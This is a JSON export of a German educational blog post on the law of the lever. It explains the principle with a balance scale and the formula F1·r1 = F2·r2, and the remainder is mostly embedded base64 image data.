{"id":928,"date":"2018-02-27T14:18:35","date_gmt":"2018-02-27T13:18:35","guid":{"rendered":"http:\/\/haarindersuppe.com\/?p=928"},"modified":"2019-01-12T17:34:06","modified_gmt":"2019-01-12T16:34:06","slug":"hebelgesetz","status":"publish","type":"post","link":"http:\/\/haarindersuppe.com\/wordpress\/2018\/02\/27\/hebelgesetz\/","title":{"rendered":"Hebelgesetz"},"content":{"rendered":"<h3 class=\"western\" align=\"center\"><strong><span style=\"font-size: xx-large;\">Das Hebelgesetz<\/span><\/strong><\/h3>\n<p><span style=\"font-size: large;\">Am <\/span><span style=\"font-size: large;\">Beispiel einer Waage <\/span><span style=\"font-size: large;\">ist das Hebelgesetz leicht zu verstehen. Die Waage bleibt im Gleichgewicht, wenn das Produkt aus Kraft mal Abstand vom Drehpunkt auf beiden Seiten gleich ist. Daraus folgt das Hebelgesetz:<\/span><br \/>\n<strong>Kraft \u00b7 Kraftarm = Last \u00b7 Lastarm<\/strong><br \/>\nF<sub>1<\/sub> \u00b7 r<sub>1<\/sub>= F<sub>2<\/sub> \u00b7 r<sub>2<\/sub><br \/>\n<a href=\"https:\/\/www.lehrerfreund.de\/medien\/tecXinha\/tec\/gleichgewicht_an_der_waage.png\"> <span style=\"color: #000080;\"> <img loading=\"lazy\" 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DDUvaBZalGDIgQ4CYLJJqRnF+TNhoJHQLUCGMMyAnOgESGBEpT5RCCw+EdywlDIUHCQI9R3qR5jhnYhJsGDI0IYvj2HyUhOAqKdiKIb2UZBiMHL+s2AA8Y6MHFDGiD2A3BMvyQBSQ4iIqipl4SwkU+OP+RnAvkCCxUprhZGq++B\/IQaCqfZTDGyGIDEEk+FvHURCL1f4s2CIasYIa4VWTMimjNVdosgKT\/Je1k5lDlGIGshKFm9lHdVa9g61klgxMA9AaiimvjSGGhjCJWheU3liSVJQRTcWiEI7wYNG+beNQdQTnIhdMd6YamjCx5JDQCQhgxRHaOOXIyi3YOUkMPwN+stl8IFlXwWDWN20FlOHmUgu6jFpWpMRoI+Ep9Tm+y1jEF5ikHAX5CadMiizX\/UygIKgmhdl8TGxT7AIaf34RE75zPgb6mW2dwx\/YvrHAKKvxbYgo1H1Jv58+xhqEQNZrK2kILKGVABidllLqNi+YAxIiDFmMbYsPIgixVLa3pc5EEjAyerypTF6CAUfzagRQegpwUljURgRO3zLGCCyWCgu7aJQSH8gFF0s50hzkMIrU2h2pq4Ql7LD0N4lF0pKZupN2rPpMyV0LStk8H4pDJRNhAM+KEyY1JRY209w0SAEoJy+bQwmdZa1QV5iAtPighdMWEuaS9hQSicdKUuOWCDHUA+SamgBVFpikFAEHwwZuBSDxO1XwFAyRdIxmo00OYjOOIpFBn0iRYU\/C4aS5cRNGFuWJKZZo2QZQZb5J10pL2nQCTK8xLpBtZXjEkMRQcWQtmNgEUX69MtiYJgiNwwFjHxpCnUQE4ApK3yz6FvHwFRAryo1RAYQDSIf66ojNJ2JAIQ14YHrfKoXmbbQ+jpYYIgroMtVmb8yBskkWkVl6VXMJQIfRZE5Z1UZ4M+CQYq2WEQKnORPZCLSEL5WqzPheyZiUZ2xKKCutIarEihgYWDBsFgHMdTQ\/JIYWImkysCs4QTE5pYcI5egTtGi+21jYBk27QfE6zJdzTE5LM0tJ5QglVGAlRXkBXrKIoXkx5CF7B0Yn\/JWzqgYghJUDAu\/L4Mh2QsbiACX5MqDgAIkIuaXVpWZA+zPhaGED\/YTEvgUjLJGXzFpOBo40gdAwX1Ghcuk1xlT1wsDMEV0WWBA0Vl4Gf1PL0RIfkkMsUKwJJbwOfsb6mmixxXfGgZJUGEOxaDExqJUAAkkaUfqUzEveMnIZAq9tLQFGqlozFF3mpOYzyRSQZEZvYl17stiSAtgpQVkJRmqucNwkAFZKhkyQvpnwqDlVZoFVO4gHC6uqIAmV1kFTD4g5lBC0\/igkMnFIMOFkoHgzghXKQxVAU0jdFIxaCZ\/SQyQA\/JBGgb1tGQHWM7oQPGAUQ5\/JgwlBICOKTEl\/YKioHGNcVfwVA\/TUoqKgux0EbWiHLcCMOs9kYp41pEVxbSR987ctwnWvhiOqUVFLzRfntSzvWFQwX25hEXz04uNCXIC5BpfnYi6koZkpbrc\/\/ENYdCqJ1OctBbhVOw4Yo5hkeYPBTeXbbsXH3Oy8fjdqcDUwi2JZOUUEQp0klFwskYEaef4Ae1Q1zh\/SuRU2S1ktAr6nFnHj9\/x0Dil7KSJesJgKCcQUc2o8pTuZ3B+2bJLQUrJxKoqrGwOYo6i9bB\/UDhkRcrMN4bhW5AljYgSUSCIw7ECCdZz8+szKycU1lSNTdd0orCpL5xOT9dke2BRt1JhkIXiLjC1NIeQGFXNO76mnWWv7GbHx4lgIzzMxZOWRY\/V38zKbPGT+4DDU\/jCdb3OJaNNB9Z6wQApKbGgIE+fnXEOHJUPm5YX6yO2QZPDNI+nI\/DT4HhNmEgaUZRdKRz0OEgxwIeMWO+lYWBpkJVOLJKVgwQV1gumWCa4lsGK\/tcG9M9r0sdzZqWNGJU9sSRiZ+WI4wkSidoVtfCFlBhSRH76L\/GP22HUAcZmHyPSMCWe2ZbH+7OM6lscmTYraN7gtOZLaeEPNelYxq6PgZ4xGNGSaOw9j5l\/7xy0PgpkE\/S\/XYt9a8SIxmGX0tIilqftG0OqKs1RUlUVkUlhUTGA0hBqKevLwABpAVTZJ9wIoSXRKfNx+3JaSg7tquzg17PPdV+bnxWReaJmb2JajggZlJgmGA0hRR2MUO\/\/mJ2G02HXMZBFicih32mnLuQ13uO1JTliePyua6dWdO3fFvjRskDpRcYSW6AXDCZZi3TH0LLZ1p9jbSM62dyJfKA+YnfIqbWNd8rP7grcdU++R1LEkckLbcWoDWiGKRgWIyns2MvCADlH4IBg0rRWBCIRqJ9tH+Rn27pfQOzxLD6yrp253mmvdCZWjg2e1cYoH2a583\/JgMJ4D+50lnvSxu4OIf6mNPyc\/gAyR1QxtqNxBoS5TsUxHiVjGrsI0YIJ1LBWDD\/ZRea504dxpy9dx6+XTNRYn\/izH7IDLezhORdTDwC6zh+GUm2stD7KgZ\/pPxmDJpylqzD6SKcw+5kc8Ywq2WGD9oFQ3tjOWT0Ohfj1DZXaxfx47nRZO5hsE6KgKryx\/ogUFOyNcT3TcyrH7I2IwspB5NKPmLxEr9OjBm+2fVBxqsV0OpGgqaU3DFVjJmQ1k4M7\/dWaBc7iPXz4RHigs3rt2VR2YBJwp4vSKNfJMzCpHgKBaLI+GADCPkAmiD++PoZpPVnLpCdMQlnYJTIjj7Icsuyarbm5bUfCh+yaNVkv9SUzD1yYwJ0+YpCe6SgBLS\/C7IyIwChjhDcmuk+fgPfzBleGOhDXzAKx3ranMevx1jAGCStPh+47cqqF9wPQnc6k+Jkt0AuGYj4R3iIUgTvddnJn8b52fhe\/7PScfdUXDKfPEU6XOSlrKUM3itySdzSFJAamEgYmo6eXgCFCRehNB2j9w1oiYklhlX3z5s2tr9s+nJ\/XoQ941k6bE9w2B14tTZjxMEXUEsIRAwlLkopBL0yaBJfu+m7kIc+yXnW23Mw1NnLB6+dvgPYoltrOFjSEEeTMFugNA\/VCswih2MIPgA2Km3\/Qps8FHZq\/I7BhMuMgry1xYvFiVCVSZWnWoco+GDKvACQT1UJfG4OEhiwMCp6MfFEMMNLoOtD4QYoLvOsdfldWShKXgFIiknLJMHYZOZSoJRFJpzQROiRrBDvD6eO1L4khQptIKBLQS\/OuyD1ALRWLIz\nGZAJxj\/jBkASYrgNSBl4BBFotQU2KMOklGCwkayUQCEPPJ5AYGoIwTScBCLOVliEgUJEuRgcRQkAgGlsbR\/Z1fhFEWixnD1DmyTtVHTUOrESwrZDqzHjD6Ob8+BusRg1hDFAcZtZjapKGIuJBZapInjIqqzRm9pAxiXovasDB1+\/bRo0eOTk7MzNk9MupW6uvba29tvz88ntNvzhw9uj4ns6lsclNSUlLHxqLJZR0LWoOa9LuRhZz3jJykxKSmoqLkyUHiCK7Tz32bog3o95KSmhYEqUdymz5YFKhLmFAYP4gfKVWFhUFBVXVB\/BxUqN8PquLDr0+re9WYN4\/CoLpBdTpJUEdTVbyDsYtHZke1DUtq1Ydak7xH8rChw4dnJgaF6A2m43JOZqYuYlBQGUpQlNw3qe9G4y+mu\/X7zboIwZx9CgFLSXmH10Nb6qRhiUnJnINQsdD7sLGv4z3dmJnzU9syg96VDkFnmcUJnYk1SVZZGZ1Y6ITrRCTQEiuDmKY\/lkbRmmnSiio5aPmcQ+vnnN71oGXKtY+yFlcPXFz9wcAdry1e3D5wYHXuuKysliGTSufzbj9+7pAhQ+JGjYqb0P\/QqNDQUf3nHGqYkze+WD\/mzbOzPv33F4eGFs8cfyhuUm6DfkzIHdfSMKGhIW9\/Vg5Hip8\/n5NOaMga0pDbMiR3Qm5DS0PDW1v5cXN\/aDID+\/CTO0\/O27p13r3ZW94qLV3\/Vl5paWle1qjQ0v6lLS2H5i0LnTOnf9yQSblZcUP6t2Q9PFTc0pDX0DCqdMvWuEMnQKvetr9\/VlbWuCWHj3wwaVxuVtYkLvCQhoczR4W+VjpU\/xDJ\/aMaRvHjo4ZnWYsWHT48cPGixYtzW4pLt86fcrKWGyNq+bTS0tD+\/ftzyLxDh\/rjkffWnET+vLJyfnH\/h0NGjZqQlTUhNzerpaElK07X9OHNoF0jNeg+sIeLfzaIVi61jPovObL4KsVBrRTCjUpVBYvb1VqhAtEtRGCxXjW7H795ZoZlGQoRdmesdngCsreIx5g2OwQqDpM+goFlUA3aE888x5I1KStuMbzGWZun2R7eelGXHvO+UzPau9JY+NbDNXp9mKKHgrF5duv1A7XSpDLPhFmSjjlhzjVMM2vzgo1vxsD7U\/ZKwTBXzZFJx96HilyNZpWC0TKrKvZOfxuP3VNt\/jGkN3rCUNPdDwa2cFowpEmlV8wQItsyjBnjPj3PqT9eyl9I9iFKN+WPAz86cqZA8pb4suDA3ikdB\/qBAs2kxvz\/yGkFix\/KcBbRjxgJs1s\/nGJDSUk8eFc4+h6ZHQOohxWj7cLjhRhkZkSBvNGGrB13531UDyRnMVC7K31DsU9RJLYIzco8FSa2j34wWs6E3tRvXKdTe8AgDukBQxTtHjBEpuOj2TkIoA97NLrpfv74ItTIv0tnXgNFDmlU\/SJmz6yhMscxUpGl88byxTSgiUuMw5l14E0HjXaVirGD+28EAWVKsoH\/T713aOa+t9qsEIihHZntwkFAy5lhXns7LV5ugUxLinnv7bVTl4JB2FiV0JBmxtbl1zAOfTFmHNuXqF\/Y9uzuCUOce8SQIekfQynmxLfobcmLKaRyvRlegeM0\/fLU1qWytojGITEAYk7EiFshMoaeDh9VXCA9hCmIYrnOV1BPKYrph32BXvyF3ojhPTJDO2Inv3krNLFnjNhAzCuGYSk4dFx6HENNIN0iV7l27FWKC7WWcdEx5bolv1SMhPt6WIPt3MUeMVTd\/WAID\/jHwOrvpQEKI9iRbqIKKIoCv9tY\/Z2p8endN+ZnKaJiMJrFVkKJkBChbAaZpvCXsUiKFvkB\/EEPK0uAsoL+PAc333mnYwh8aQxqUN3p897sxDRSk4xmizS\/YmPv4WJMpCLzh2EwAdebmV8Dg\/WGIYPDajU\/ojCwnIBcPGi6tWNS3vptZ2df7PK4nFIswkrhpcIoFdMqPJPh4qsURrXCVUQ7wdCH3kpgEH3HHpPV58tgEGNKwYbdmxKjGE1JHXE2H4Hc+Eju5euDAU6byxFWNXJMS2PrN4aB1iG7ZNHyUVlxEnsmETOAI\/rZ\/lberupDoaNmbhgztGxsDElDud6EwggQTUbIL7dgUizZdki\/EhKDimFmA+4eZZDyEef+AgZBxa73pkQ7vwSGNJS0H4OcLQcKMOOsnpDdTuKCFAYNKmwtqh9iJDRVZM++N3\/L\/mkzq8dkat8IhvCm0EDyoMEtoQiMCDYTTyY8wJysmZrTHhuf+WFuQ+i9LVumzInTj\/4z47LiJsTFPZwQN+Qj\/uw0K3dp7rPFS44sXnR+1Ybscc8+WJu9asPB++dXZWfPXZw1qSX3cO4S\/fKDI4cvZx\/OHpjNj7Ub2hdveDZhQtzhxYf5kTuk4VBcVlbozLhJQ1r6N4TyZ9+hfo6ZcXEzi0u36Mf82Vv4hjh6Wp\/Es\/dmTyueXxxaTJ5DP+T\/x4eu799\/1Jw540c9HPXw4ZAhxuhDY7JlFH\/andd\/\/sTKKfx2ZsOEOevzig9NyMsbklecN2R8ceghvrq4+OGQBi5+3pwh\/Pl3bu4E\/gR\/VMMQ48jSn+x7RQoNHcWZD5lp3N27cXPLrjfXtw9ZnxdaOmrmBzsWdHrsNk01KwlNkamKb2TsK\/HPMBYoO1GprIS04isFQ2Q\/qBMghuLa58gwtHeF9HwEju0K6QocGx3Ij5CxXfpDYIFxHhsSrU+nBwamh+hnfcg4B0aPDewylhqL9GOsfj\/W+BcSHd0LnPcomz\/UNnVeR8OtdBNvRqc8Evj\/9BmBxsUrCQkJrySYownGwwxOWlDQOXLXnkJ+W\/AeX8zFnVFQICV\/r+CBftnJueq3+upAy+E1CJd17FhDUf2oC2pNytmevbAtOPoVjyYLKRDji0TF4trzBHGazEviRWunIBUbH0RtZApP5UopP6XVc6x1FaNHLeOksSA4Q0wlDNUSJ6W3YuAjQSOchu8fsvjCjfmb1XU9Yfg5cs6dmsEItGJlK54sqL7MiBK+B3adbwYDFIuBLCUqCdqI9GULO+9EbvUdGxXBrxcViWTBkuRg0YsqrkY54aBiUDvhtKt2WtnTqBXJc6dU2L8EBk0IIV3rltkzFGuiGEr5AzmGVEAGcMgXwxraLx9D1Hyav5jAaqKaF2Ia3SUKA0DL4Ska3XuITQZRSPQkoNiYnIDsmKx1QDHkXgsY8qD9Djsc3d+wzTdLy4BpU7ph0P5jRfCFGJbuZ2AWzdvaDdQMQnrabYlKeKEMCgv6xRDt9xvDoAUE40bCApN7QEknI9C0OQYFv9k1bopYjGElImRj5T39t1TsTuVQkArOryzC0DMuBpbsICul\/DJEiNoiFQSGjFpUQqzsbHhzqN4ytdIwfipan1X3hRgY3EwEd9G8Ld2iGsgkwsiXlQUjSPoLKZmy3AcDKb8hDGEnzGaMFIw4Oa3iS8kEFbB5z0pJPBFq\/T7Rvdz485dz7vNYZGZnZFIh+HCeeynDEeF\/Em9gmUUMKRhZZ8zZTtyc22mMaHP0v4WA2Puzs1\/pHYNwkDyLttzsFtGONrekpPQPXU6iiDDwh2EhefkYMjUka5LPkrc0BBYFdCu6lz\/sGtcgTY9haVaL5IDldl0Sr9NjXkTrITAvI7Hfi3cMytj4+DBOaDidJbx48R5\/cNjDBvXRPE7Pi342Fjuoy2ZKFqulR3tf2lIw8IdEO3MWzcwrM\/caWmisd1VI1vzUMJAxI6\/wQQYXGqBo\/\/4YGqDC1MQuJPCIoZQhkOv9YQC18jeBgTZiaDolfagpLPWDxox57KrOEnLT6PRSJrt3Gl+DeC7gPNjG7KxceWYBrw2b1i+buCJKA63tzYkTV7xug7yApSxmwtnKyieLbY7S2Tcqb4w8PeF05baHZacq1zU4DPiNO+cfXzkTSw3WetGPiB\/js3btdprSAne6qYcWtP9mIcN11GakhFGNIWnLnRiiOzWn0iRxBRmkHNFVPhjEv98MBpC14lLhIdcCsSYBtoDOzppEQakZgSUHPNl8\/fr1kNPc6dcePdrZeHRfHZvndq9bdnREEiRGbDq+M2PAGD3TbVMCIi5tO+rOLJ\/lnr5zz\/Zmd\/POmozw5p0ZGa8ZLC+63WmzJglTKIKQxuKd6Nw5vxtl1EZ5JJHzWiotXRbzo\/6IMWzPtARhD4v2SG3lSDYfqof8Y5Ak\/WYwpP\/wHsNM6ctmAmPJFlKRAYBjR7IEM7laFqdkt34E8J\/zBZUj6pm9v7tUm3d0l8sWGnBOO\/WoGtiqARec3OkzZldW6dPV5bM2tYAzpzkymMW5R9TBqIBSg\/1Fd0kw2TxIDFHtFSHzqknN1GZ6vMGrCxk4O0Vuh2hjVEeIJW\/tmteNqSdMjrkCjKJjm1ZFkivBH4aSet8EBmn\/wniA1HJzQzo0EuG2AuMu9EQuk6bHKPRSJbvT3irlx0r3+czp4bPvzb7hvvAK7+nAgkvyA0cMuHHv3uzmiGDudIjtKhu64YA7LmxWcxljOc2nub3fvsdYas0UQ9iL7j0eNZxlpqBhxEPDYjnFN+65HkyEB3enMiktPYAIj0EBkLlla7diYxUNFEEwVYARkwhjo0VVDOxL3xQGk\/piTMkYQlthdGBmKRXFZJu3cDGtJ6R0GOXd2L3DvYDze901JWv4cTphXk06Y13rwgsjM4yRbVO507WonSOaax4FxPWZGBmvO30eYyMHbGEs6tEUQ+OLAaWgSo75TlznFffIEVK0tHEeOcGc64OIlWUSmaYHaV3Js2jatG5iDpkozFQR9SZmZ1h8mOJR\/xjU4N8IBlAsmfPKoPVOGfLaWwYoFJtOV9JfUCZ7n7Lpu\/fd03cWTZ06te8gbV7NVGCFJfnx4Wsy+UhHlYs7PaQy43TDa6F6pkcOAu70raA7HUyn8\/JuON1REWbBoB6UabC32hRSv9UaPCi9llUo8whzCIROZNxcUTXlrW46KJ8TCo1p2aRrJblAEMbzxVBq7zeBYQ0xZE\/5+j+USmBeHjs4zhIW8hrQ6QHnQ9Ka2zRn24GBjnnTR7ls4zLuulZkjLNpVbtCE7jTcwKOx2pjTwXElc+KiNYzfSuTTjd4XXRzp3vWV8arGFZgr2BDx5EE4T2dTDdUAVPjUwkZtbTyY0HpfL28a+UOY8we5pSLwFVus3Bxhhn6ysTrwYbQ06zCzIdAkfqrYGAwWFPErAxYVGRrlklgMsLtHLD+H+cy7C1CHpOd7nR9Fc90V2lA5LRdtwMaYF7A2\/fOPKqphaU1GWf2l7gPaNzpG5vdN\/avdAcU95moOB10p+sMudM115Szwun41II8yTDlA3ZrHEglmFbtEFLzo7jMYhKx3NIexXRmMe\/pvLXnz3Pq43dKbsk10BJ+nyrOT6n5DyUuNlPA9POLQYQl2Q3AyBXNWfiqGLTW08Zt+hUIN7IFIN6WGeS106hVWZKa7ieM8+SJs1365ZTKWuZ6q2TT9MEPHWz+tjMDNq37QGPOgSsz3PtuhkD14IXO7BL3pm3FE3cF7nkSyJ1eWcxgZGUog6hKw4ysafB6gLEbV8YzCwYaAMX0Zro5rD30kIB4q5WRjRxIPdCooFg1qXiK\/tr7sIzlRlbvqUkFacdJ09ei14yLE5uOSbNLO0tbo5QqhjoovCxuwYKhsPtyGLLeY9JbigEOSwnIBN1X6PeHDk6yCi0TCJxjZxjjCWO5713xRUX6G1gS0j1BkwM1PuxM31g2iNfD2GgPaPFlkwOdYwO1Tv0vTl1j+ZNj19gYXk+juw3\/uUJ02wevFJkuvCU1RgUY1A8RIao73XiebhBroBVvFMIRLWS0S3Zy15K5\/qYOnIlO5+eYqio9\/bOmr+2aGm1o6KgL4ttTSB3Ana6lV03Vv2Dd4QmrioZuuz24zgOO4LpY0\/phtsCqMCbBZNkkJhfqqJ5iIpuJ2LQwEw8TPWR24BmUhJcVQrrWnCTJBFQqlnc\/S7\/RwtInD+9wkjBDFXAQ8EppLkIAQo56STWo0y0YKi3LGRV\/MTglPQyd7gxJjpr70ZkU7a2OnjHQjjEnche\/nrQ58B3n7tI9+qepZGbslE63Ldy5puTCa3bu9DPb8iurPUxLfpy2Zl3D++zapmNQsH7ZmvxZkxzO0JPn1jS2XdpyrqTkXtKNkpI3Aw2k+BUHnpTMK5deQFRiAxBllhYh6i8l0NWAoOVCDRzFdn7MDX4oSNRIfqFrP0pIr1oYN7txRM3xEPDDgJE2oYSlUpat9YliSA1Y3bYQHyFpPzIztunhmZo1actWtNeWvejunFPQtXvUutvNm8I3DXdOabXUKhXDa1DPqIxNm5ojKxsPHLtx6VSM4fRtiU2tSU2PudNrbw9YsefR2ye406ev3FOTsQQGVW66cGPf9JnOte5jsGXTxHOPM2q2u865N604sHFEwO0D+QEj8vfsc8cZ7\/zdGO5ec2mKi6SANc2I3cQFGZT\/QaWWNhCBQWzDRGsmGS9yjy7DVkf3baRre+emzJy1bk3EdHcA\/xeRdT8qKmr0rTY7g+vJbckXE5OSOpKeLkjKTGxry+xY8BetHZNbi\/g5KfPirba2YU2JmW38yEzKTEpqzUy+qF8n3mrLXJCUlJSZyQfb2qLq+VjbrdratqFto6OiFubVtumDw6NG3trNbzlc7a2F2yuuRS0cE6UfB8+fX7v2\/Pg3KwMCDJEi9zXu3LY8PyOg5ujEfQFpS06cG8Lnd4yJuj8mKpVLuzD1\/PnzJ4ylFRVRbfxh+\/nzry1uDIiIuG28mBgQMEt\/np6Zob+wyAe40y81rwXY8PYp26TpJwO1hdOXBY5yj3Kx5PySGQszjmk3zk5lbP30XO70LS6tYERNBatwR46EE+67Ht2KG8ObR4tMNjNC\/qCr5PMw4QRSDWWOYGbLnZrZ8uRLJRgZln0MDSkZVXSXJNeSG\/McOq0mIkI3yNHK2wMmXExKWlDU0epkEN3aWpZUxk8difwoetramtiU+Bet+pFU9hdPO\/g9P8rK9IHEpMREPpzEf0Zn6lcdT\/nlsOQFrYmtZYmZoy8mJia3cpqm1tYmnTb5LxKbylqbFrR6j47EBQtaJ5e1FnUk8whLXJA8uv3OnYB9B07W6H4asOaR7izDZcd350xZmLlgwdPJHZP1o6yjdUHmxcw2Lklrky5c04Lk1o4FyU1xbnez8RLyiG2VJ\/Xn6ZkZa2bGxcU1VNakxt9+e8WKFZdqwjfzjRy31rYRwy64T65YcTfCvXtMxjGmvfM06oNl7o9c5wK2AysYsSwQokcs72aFESs83kyf5bFkNc1BWoqBtlZl26ru2egS6ScyoxY3kyn2TWWOETTAWFJY9h8TWrfg2qFpy0tq3LeH+3YIpZ2AIq1KK7n7sPC5VEksHHUeuxvmuqfXRKw5Xnr4w46UXQs\/zIrLm\/bmxIh7NhgX1DOG5KRlud2bItecbsieOrx0itfpxkYOeE\/\/bwNqZlXyY3lh1oA2PnW6OWqZe6I+UlnPnQ7XljXXDKhx80wPyGHc6ctjWPSIx2EshTvdm+k7nVRYbGyWEBDqWfJPGlX2BFLDZR1XDSKXM5+CjrorrlKCiXYi\/XH9Qf0jXTTXg6oTeTMLCBVt\/kpLEs3X4mFU3upeEGVLlQfU6KML2uakhzZkDw+aof8Nhmb81Sq4Yl608j3H4sLeMMRl26mt7UODwjSAoOK3pNPB2MgVNg\/uO2jQoKkveHnfwdccjxj95Gj9i0GDqgrtH9YcC4mo2dVeu356Fi\/vOQwKRuzsBul0XQ3udM73ffopl0Rv6R9QRJMikpQGWvuBUPjEUU\/+lTojkR8jM0Uy\/VSc3WJGXg85zKikZK01q30CXqHujTfdy3qP+lFYOpjW\/33CrTrly2DAp04zDDYeekt\/RY48ZXOtyxjisdXfLe2eNH1eoO1+zfF+8927ZmiFZ86MPXj02O5Ny7qcIY0BQwynM93pjDpdz3TNtvjNN9cKyxM3okCq8a0KEhdbV\/haA0uAcQck69R0xlfVaHkRBpYFH9jD+1nSZnIfDfhCDa04GJw+NGKOaigx1BcrVAy5VDqOX9dPwGJmPGVDjOrrvWIo8ukPk\/PeEs\/Twet0yH4748C98KP7tUnTMy6cuX20HRaMCFi+a6X7bBh\/np6SkfF4duVRd6ko73qmRzwOg82G05lR3kfn7zi\/sk7Zc0l\/eEdI0xUGpHaU9kIDkGmrHkRZrBTUp9bAkdAYl2TfB\/1fa\n2GEpYTEgMHKDJKhGsAgTK9WNYnhk8wWDIVcP9WPF8v0kWQnweBO7xGDhJQM7A5veU\/ett\/4K\/j1jW0MspfVuEvWx8C4ZfPXTJ+42MVY8vJmd+S5EFa7bhL7YOKm5gsNjfNd65eVAXQum\/cOdC2bFsuuL9v\/qc5888mt2oN62+ZZZQIDAxZDFfOWZL11SyeFZ\/4LLTYObF\/En5aSYLUCNbc0u3HxMLuFjEuRwYelH4nAl8Qqh88F0aZnjNETekStTvliDJIq0JSXp5d3Z7fDwHN087qvlaePTeDbBVe5q7Mr5l2dOrZg7Aw7cDI7\/59eEKaVh4GjXH9eXh4Lxgm0cu\/v9bXyWH6eMXu+U\/ZkRRianERFmq3Mr5N9RizMkMxKSWOIZiLDvMKA4Oc5B1skonWXgZf+EEC9t2ylqChAqRThaRqQo2mxUNkHY3FhzxhYqrBmTS6e061MkEwhkimjigkVUmnCzaenJNC8g28AA\/WwuhirIBkltRN3ALTUSKZs\/Npq7DPUQcTg9FLOYNNiskNJ1xNnKWqiqEq407KkD\/VdRAq0ilGd0jOGYgfzcXLeoW4k84kwICdQ7igTnwUzdt5sqvvUZ\/qlYpAbmpGk78txEDZQtxems9Rao0\/E6U5n5h6CRIfcCYodhlhBt4joKXO9d1Rtr7IcKe0AA0Xe4orWatHF9NtyIBjV13vGEJsjxAI2aOaobgxIIYxUA0SKCD3RlCCXIbnAuD\/r7PJLrQJDIX5pGEQPaX0RWExEPV5igZBFVy5F\/3vX98\/OFYElDY9Bw0QyE1dR90hqIamIRWBkCmmo04V6hJXAGI2faAXgDHUQDH0j1ysGhr1xbA41du8iNCwFjFgTpDY0DGleEQPoqmo0SeGbwJB6UFXVxdLNAp1RdEbHhRj8JvTgEowX4l7URM0pn2n1nhqcZpwIOMsSuVARi9Xj27K5cWudhLT6em8YSukzboNL13djXaIOIbHrG8aMqGJV0wcDJfnGMKhrzfzBTPe\/WpxVExtWengty3cNlRxUIX3cZkKDT1STK9LLgK5CuwEKqGd6FqkAoGC0j+0Fg5rDnJpcXNqN5kXNSTqoViO5pA6LB18MQvM1McD441yXXVMxqLeJSXAOzYnBRC2t5CqDQ6vizEESOehCEi7E95KCBKyyXBEKVLP4BJ8ikHEanavWe7L0cGCvGNScxr3+4owf51mPHjzi1zk+GL4c\/lSMgr39gJXfuv\/0fUtNBcUJ5n6AmdsDyQUkMbEzxonM\/0nnW8z4UYKE7rCQM914mLdCA0IkpSKJCnK5FQOk\/FJByGnB+LVgfPBebxhijyRoGFQdyutm0kiM1ASMUrFGlBsR7FQpmsJWDOT7NTEgem5FGHu6aOHlka+o9lSNSyUiSe1DSksEojM26n4LqkNCQ4kTea2krRrikrOkUfYiQi1cixjSAAKj7yKLpRFjYFevGFQPY3TjoUMxRHdMAtFT1FVUJuk11Mw\/Bhn4mhja0yvJzqbLsU9XDy9XLEtcSyUSIaa0Ehr8GGmSlt+NWtgi7klLJi0YKBqoAluilcYJkRfbMs0RsoRI7cXgTsccAgXjcGDPGCZfagK+kTsUo9gWkEoqIuOGliKhHckbUuGUKLXo\/adjQHfq0qkhV+pctVcSfUs3sS+6VG2R6GLqJWahazjfQu780dN7sM5ZqXoaozzU1eAzz1jfpWTQOUwjd3Ppd\/pY2cv9oLjgTi\/O6waRdsynKaixKFbLhimnvT1NtFELhrnia2HEGt8vkn5t9bOPx37yxvDL92cQDBkwxGYyyIndmN9rkr\/mREN2lsw+anrGLMM0UmTNMsn9XVNwa6T1sFrSBD0no\/ZQF6Fa0tUbhqKvcVW2Xn\/tXdqOWAlQD5GZkgupdbJ\/iDT3xSB0fypGTEWTvmMvfLYwdemtuoFXkj20HiAylUAxHRqDiqQIh\/Vw5uF2Hy\/4P5RYYz4mUAVjUjcfEZgfWS1UwW9gbIOWbSPc177XM4Y\/phtLS7t9xfYllZa0Eviu8Ce4Yhqn0z9pLxjdFdmv8tEHVy96cpZ27L5S5HR2dNLyDiJZRckRVUKQmGUDSOyZE6KRYl85lFXNZI1hsgZ55RNIog4BZSMLGmASyEJENuTmPXY6ikFEBymf1+kCW1trIxiHA3vBkKxwN9WRd6hbST\/CWeoh5ALlAXnKEfCLwVAO\/WzriP7qGPGrPgkDsP3l84Tu1+dGV2RnPj2SCYiBBcenoqBiqmWtscgwGI4dOaImsbL\/kI6m6jKpiwguGrMgvU8rotTRlAoXKWMmRvAbMrgY404n5AsTesGQgYrTutNFE5U2wUbIKLV1lDFqAEqsYgA6hf9zBu5N+soYEJP5bBjXM3BJ7achcz8puLXo2ZUUucpqZKyz1L0Y1EoJYHTCO7qluh1dSBJPVgthLXlNUlIpKaqRJBsilXWBjBtlgv\/r+IAAaiecBONIZ28YvkfSnbxyZYBEm3CaTFiQ3HyNyXrHkYfWrzV76FfGiDmx9NnSqRqD1qWtruRnF8Omjq7TyLwqDwkBmdkW++MkXko+07JywcIDqS1hrnLzOyFEoHFljorKCr4YcoV59F1FWGnnaYs8EtMzhj+BO0rjwnDCV24AK7jkbLGeuPBnFDSpltAx5upCC9gXYIAGBdnPm54f5M9M7FEbiiYvWhoM+Ne1lpVCBCITYNXxxRBLyJE3cIgfhn4A1QqDdqcxqOD4CRSaABa5ZJ3RL6ceJBDaa05Cbbwi1yOGhSl\/aC01f59upVC19Gtevzz9YMC7Trvd7nnHYXc5Z5S9sfrqZdtXwYCQYenvnDjhCp4b5eFB88mSy6uGD7IaE1sr2Sgw0WRNOGWUCZOKvAK5sSptryY0sluITiKuZGCK7BI1HiwlhTIDmi3YQCgGTRy5C\/H2dFH1tR1OZAtLYnrGABRcqtl6Z323bLCktIJU1uzIMoilIUEaQFoM\/GBoYWM3Jo0eWvudir8cPjJo8qo37q969sJjI67pHcPZ5zvPnsd3LAlyXlzaqj0t6rd3aZRLs+rBpMXRMlgzMfVJCSRGkh7zLr4zbqCgQd9IyxBfqqEh6EA0GEsVkPoqPMiOyjf8iVGDTxAgbYdGMI5094yBLVNWc0jeur5bLQ0SXchOY10p6iQUkYWKAZ74sraoihMf82PVqlXPP3n+PGHjd5aufv0vi2K0L4UBU6+tfuPyx4EVz2fE3l8dEnU5xdXPY9VDphjNbMlKJDgZ8KOBjBbu9JYsZW+obPwwNmWwUoMLTr6FT4rIfOaA+Uwo6aRTBC\/EGXBucCIGHCn\/IgwSUvyUuWVLAmKoNIQTEQUThsazfwzHq0n1nzy\/fPnKs2dXrly9wh+WRkPV82dXlq5e\/UZTGHwhBkRPTf940atVS26lr47yxC\/9OP2N3RooGOQScDm1o8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0WOjX9QVphQWFpb1DQruSD08ImBigVp+yK5IqVlMSoQVTEJ57x365jzljeGBT1PLwfFGCn+6XmH8AvVv\/ualYZA4EH1ereCCGQ